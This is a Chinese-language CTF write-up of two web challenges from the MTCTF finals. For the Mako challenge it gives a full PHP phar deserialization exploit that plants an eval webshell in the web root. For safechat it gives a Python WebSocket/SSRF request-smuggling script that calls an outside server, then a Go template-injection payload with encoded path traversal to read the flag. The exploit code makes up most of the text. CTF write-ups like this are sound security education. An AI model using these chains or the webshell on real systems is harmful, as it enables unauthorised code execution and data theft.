MTCTF决赛
Mako ImageMagick
根据源码,第一反应就是phar反序列化。找一下触发phar的点。。。
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;
$this->processor = $processor;
// Make sure that the image exists
if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}
// Set the image
$this->processor->open($image);
}
Image的构造函数有file_exists()
来触发。然后在editGet里
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
filename可控,可以触发phar。然后就是挖链子。
Session.__destruct().commit()->
File.write()->
FileSystem.put()
直接写文件。将shell写在/var/www/mako/public下即可。
exp.php:
<?php
namespace mako\session{
use mako\session\stores\File;
class Session{
protected $store;
protected $autoCommit;
protected $options =
[
'name' => 'mako_session',
'data_ttl' => 1800,
'cookie_ttl' => 0,
'cookie_options' =>
[
'path' => '/',
'domain' => '',
'secure' => false,
'httponly' => true,
],
];
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
public function __construct()
{
$this->autoCommit = true;
$this->store = new File();
$this->sessionId = "2.php";
$this->sessionData = array('<?=eval($_POST[1])?>');
}
}
}
namespace mako\session\stores{
use mako\file\FileSystem;
class File{
protected $fileSystem;
protected $sessionPath;
public function __construct()
{
$this->fileSystem = new FileSystem();
$this->sessionPath = "/var/www/mako/public";
}
}
}
namespace mako\file{
class FileSystem{
public function __construct()
{
}
}
}
namespace {
use mako\session\Session;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Session();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "asd"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
然后点击编辑按钮,修改url的filename为:phar:///var/www/mako/uploads/phar.phar即可写shell
safechat
查看源码,发现后端用websocket,然后nginx有代理,但是/api/internal没设代理,访问不了。所以需要一个ssrf获取到vip权限。
router.POST("/api/public/healthcheck", func(c *gin.Context) {
host := "127.0.0.1"
port := 80
session := sessions.Default(c)
session.Set("role", false)
session.Save()
if c.PostForm("host") != "" {
host = c.PostForm("host")
}
if c.PostForm("port") != "" {
iport, err := strconv.Atoi(c.PostForm("port"))
if err == nil {
port = iport
}
}
url := fmt.Sprintf("http://%s:%d/", host, port)
fmt.Print(url)
response := httpRequest(url, "GET")
c.String(response.StatusCode, "got it")
})
这里有ssrf,但是不能post。需要想别的办法。根据nginx配置,猜测是nginx的ssrf。搜到文章:
只能说简直一模一样。直接拿里面的脚本修改:
import socket
req1 = b'''POST /api/public/healthcheck HTTP/1.1
Host: 39.105.99.40:40083
Connection: keep-alive, Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: seTW+5aD0rPSFqplvXZfsA==
Upgrade: websocket
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
host=47.96.173.116&port=2333
'''
req2 = b'''POST /api/internal/vip HTTP/1.1
Host: localhost:18000
Cookie: GINSESSION=MTY2NDA5NTYxN3xEdi1CQkFFQ180SUFBUkFCRUFBQUhQLUNBQUVHYzNSeWFXNW5EQVlBQkhKdmJHVUVZbTl2YkFJQ0FBQT18UzRIGI4pn_uZl518vOtNCafGm5ujPG7pbMY_ayMtAMI=
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
'''
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(req1)
data1 = sock.recv(4096)
print(data1.decode(errors='ignore'))
sock.sendall(req2)
data = sock.recv(4096)
data = data.decode(errors='ignore')
print(data)
sock.shutdown(socket.SHUT_RDWR)
sock.close()
if __name__ == "__main__":
main('39.105.99.40:40083')
需要在服务器上写一个101更换协议的响应,写个socket脚本:
import socket
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.bind(("0.0.0.0", 2333))
sk.listen(5)
print('run')
send = b'''HTTP/1.1 101 Switching Protocols
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 25 Sep 2022 08:55:49 GMT
Upgrade: websocket
Sec-WebSocket-Accept: 8xv8B0vCrUq3iHvvCxhqByJm/u=
'''
while True:
conn,addr = sk.accept()
data = conn.recv(1024)
print(str(data, 'utf-8'))
conn.sendall(send)
conn.close
然后即可得到vip权限。修改cookie之后访问容器。然后在
func renderMsg(isVIP bool, msg []byte) []byte {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
u := User{
IsVIP: isVIP,
}
templateText := fmt.Sprintf("{{.BlueMsg \"%s\"}}", msg)
有ssti,直接闭合引号括号即可。根据文章:Go SSTI初探 | tyskillのBlog
直接调用vip才可用的读取文件函数,..可以用url编码绕过:
"}}{{.RenderAvatar "%2e%2e/%2e%2e/flag"}}
即可得到flag